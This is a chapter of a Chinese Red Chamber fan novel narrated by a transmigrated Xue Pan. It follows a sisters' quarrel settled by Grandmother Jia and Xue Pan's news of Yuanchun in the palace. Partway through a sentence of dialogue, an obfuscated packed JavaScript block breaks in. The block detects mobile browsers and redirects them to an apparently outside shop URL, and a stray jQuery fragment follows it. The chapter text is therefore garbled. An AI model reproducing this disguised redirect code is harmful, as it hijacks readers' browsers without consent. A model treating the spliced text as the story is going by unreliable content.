70.低头
作品:《[红楼]我穿成薛蟠了!》 周瑞家的回去把消息给王夫人一讲,王夫人果然是坐不住了。
但她也知道这次是把妹妹得罪狠了,光靠自己也没有用,故而亲自走了一趟贾母院。
将事情简单说了一番,重点放在了薛蟠知道元春的消息上,根本没提自己和下人暗中说妹妹之事。
贾母虽然不想理会王夫人,但是不得不估计自己尚在宫内的孙女,还有自己一直以来最疼爱的宝玉。
还有一分心是觉得王夫人这么多年了,还是担不起这个家来,出了事就要她来解决。干脆就让王夫人看看,什么样的人才能称为国公夫人。
随机贾母让人请了王淑卿三人进内院,稳住她们三人才是正经,如果可以也是顺便打听一下宫内的消息。
王淑卿虽然来了,但是牢记着薛蟠的嘱咐,全程只等人问话,问了也只是呵呵的笑两声,只推说自己不知道。
连着来回了两三次,王夫人果然撑不住了,“妹妹,方才在姐姐院中,是姐姐不对,在这里给你赔不是了。”
王淑卿呵呵,“哪里是姐姐的问题,分明是姐姐院里的小丫头说错了话,和姐姐有什么相干,哪里需要赔不是呢。”
王淑卿表面上平静,其实内心里早觉得意外了,这么多年的姐妹,其实王夫人从来没有对着她低头过。
更别说如此低三下气的与她道歉了。还是蟠儿说的对,只要自己手里握的东西足够多,哪里会直不起腰杆呢。
见王夫人说了软话都还不管用,贾母只得自己上场,“姨妈这是怎么了,说出来,我给你做主。”
说着看了一眼王夫人,“只是我怕我老婆子还没张口,你们姐妹俩就已经好了呢。”
王淑卿笑,“老太太是见识广博,哪能用这点小事儿来打扰您的。”
“正是有一件事需要和老太太商量呢,我们在府上已经打扰许久了,如今府里既然对我们颇有微词,我们还是不再打扰的好。”
“我已经让蟠儿回去收拾屋子了,过几日我们也就搬出去住了。”
贾母看了一眼一言不发的王夫人,心想王夫人这是说了什么话,让薛姨妈这样一个老实人将要回家的话也都说了出来。
贾母虽然不喜欢薛家,但是上门就是客,薛家可以走,但是不能在这种情况下走。
这要是放了薛家走,那贾家以后还有亲戚朋友上门来吗?
贾母拦道,“这是什么话,传出去还以为我们国公府上不能容人了。再说原本咱们两家就是十分亲密的亲戚,蟠哥儿如今也老老实实的在族学里读书,正方便着呢,何必要搬出去。”
贾母对着宝钗伸手,让宝钗坐到她身边去,“还有宝姑娘,如此的人品,和她们姐妹们感情不知道多好,要是骤然分别,岂不是要伤心。”
“就听我的,一家子有什么解不开的结,我是过来人了,最是知道的。至亲夫妻之间也要拌嘴吵架的,你们姐妹,自小打闹过来的,怎么长大了还要当真不成?”
贾母一套组合拳下来,王淑卿说不得有些动容。
毕竟和王夫人这么多年的感情,加上王淑卿耳根子原本就软。
方才让她放的那几句狠话还是薛蟠教了好几次她才点头愿意说的。
薛蟠见王淑卿的模样就知道这次还是心道姜还是老的辣,贾母三言两语就将王淑卿给带了回去。
而且一眼也就知道这里头是谁的鬼主意,先把宝钗用言语按下,再用感情将王淑卿牵扯住,等稳住了王淑卿和宝钗,那薛蟠便也被稳住了。
薛蟠打岔,“方才我也问娘来着,只是娘不肯给我们说,还是姨妈屋里来人我们才知道,原来是在姨妈屋里听了几句闲话。”
“其实叫我说,几句闲话算什么,很不必放在心上。只是娘心疼我们兄妹,她自己被人说几句不算什么,只怕我们被人说了,她心里才气呢。”
王淑卿叫薛蟠说到心坎里去了,是啊,王夫人要是说她什么,她都不至于这么生气,偏生王夫人说的是薛蟠。
在她心里,她的一双儿女比什么都重要,王夫人如此看不起自己的孩子,那不是本质上还是看不起自己吗?
贾母看了一眼薛蟠,眼里满是不赞成。“你这孩子,我方才将你娘劝好,你又来打岔。”
“你娘受了气,我让你姨妈给她道歉,你是小辈,长辈之间的事情不要多掺和。你娘和姨妈做姐妹的时候,你还不知道在哪儿呢。”
说着,贾母便强让王夫人给王淑卿行礼道了歉,薛蟠还想说话。
叫贾母用眼神一挡,但贾母知道姿态不做到位,薛蟠是不会轻易放过去的。
便又让王夫人给王淑卿端茶认了错,这下薛蟠才消停。
王淑卿心中也十分欢喜,这么多年,是她第一次和姐姐之间的争夺之中胜利的一次。
而且还得到了姐姐如此认真态度的认错,这可是从来没有过的。
看着王夫人略有僵硬的脸,王淑卿心中不知道多畅快,还好方才没有被贾家老太太带过去,要是轻易被顺了过去,她岂不是不能得到姐姐的这番道歉。
王淑卿和王夫人的矛盾一事总算是有了解决。
贾母知道只有这样做了才能让薛蟠舒心。她算是看明白了,这薛蟠虽然小小年纪,但是心里的成算可不少。
尤其是有这护短的一点,尤为明显。
他住在贾家,还敢让管家的二太太道歉,这可谓是大胆。
但这也反向说明了他的底气,贾母从侯门长大,又嫁给了国公,这辈子可不是白过的。
但她还是甚少见到身无功名,却能在皇上面前挂名,时不时就召见进宫的人。
“听说蟠哥儿又被召进宫中去了?”贾母好奇道。薛蟠身上又什么能让皇上看重的地方呢?
薛蟠自然不会被贾母带着走,也不绕圈子,直接就把自己的鱼饵抛了出去,“是啊,没想到在宫里还见着了元春姐姐,真是难得。”
“要是早知道那位女官就是贵府的大小姐,我的表姐,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938084|188744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是再不规矩,我也该多问几句的。”
王夫人果然急了,“蟠哥儿,你可好好说说,你当真遇到的是元春?”
贾母用眼神将王夫人压制下来,“蟠哥儿慢慢说,你姨妈是操心孩子,这才着急了些。”
薛蟠道,“我进宫后,皇上见了我开心,便让人给我送赏。但是来人说是皇后娘娘宫中的人,穿着女官制服,脸圆圆的,端庄秀丽,一看知道不是一般人。”
“只是当时我不敢多看,只觉得来人与宝玉有几分相像,可能是贵府大小姐的这个猜测,还是二太太身边人提起的。”
“其实详细说来,我也不敢太肯定。”
王夫人念叨着,“元春,这定然是元春没错了。”
贾母要稳重些,“蟠哥儿可看清她身上有没有什么配饰?”
薛蟠道,“似乎腰上绑着一串玉环,拇指大小,通体透亮,细数起来似乎有六七个之多。”
这下连贾母都露出欣喜的表情来,“这正是元春的习惯,她不喜配搭繁重的配饰,偏爱玉环玉珠。”
“元春进宫也有许多年了,如此骨肉分离,叫我老婆子想起来就伤心。”
贾母捶着胸口,元春是她的第一个孙女,是她最寄予厚望的一个乖孙女。
只是那个时候她还没看清王夫人是面精实蠢,堂堂国公府的嫡出大小姐,居然被王夫人送进了宫去。
王夫人是觉得自己女儿出生日子好,有大造化,可她也不瞧瞧,她们现在是什么身份。
国公府的小姐和一般平民家的姑娘一齐进宫成了女官,这叫元春怎么在宫内生存?
女官那也不过是说的好听,进了宫都是服侍主子的,元春从小到大都是自己当主子,又如何能适应?
原本按照贾母的计划,元春不是郡王妃,也可以成为侯门夫人。
现在叫王夫人中途挡了一路,在宫内可要熬多久才能熬出头呢。
故而从此后贾母便将姑娘们都喊到了自己身边照顾,虽然聊胜于无,但也总好过被那些不识数的再被用去谋所谓的前程的好。
薛蟠思量再三还是将那个纸条拿了出来,请贾母辨认。
贾母接过来先看了一眼,随后让屋内的下人们都退了下去,随后才让鸳鸯给她拿了镜片出来,细细的看着这张字条。
这张纸被薛蟠捏在手里已经有些看不出来原本的样子了,只是上面的字迹还能看的清。
贾母摇了摇头,“这并不是元春的字迹。”
说着又让王夫人来看,王夫人也说这不是元春的字迹。
薛蟠心中明白,那这个字条就是宝磬留给他的了。只是他口中却说,”这就是和元春姐姐一路的那个小太监递给我的,我还以为是送错了。”
“直到听说那女官可能是元春姐姐,我才把这纸条拿出来的,只是,这回事什么意思呢……”
薛蟠心中疑惑道,宝磬在皇后宫中能知道什么信息呢?她递这个纸条出来的意思又是什么呢?

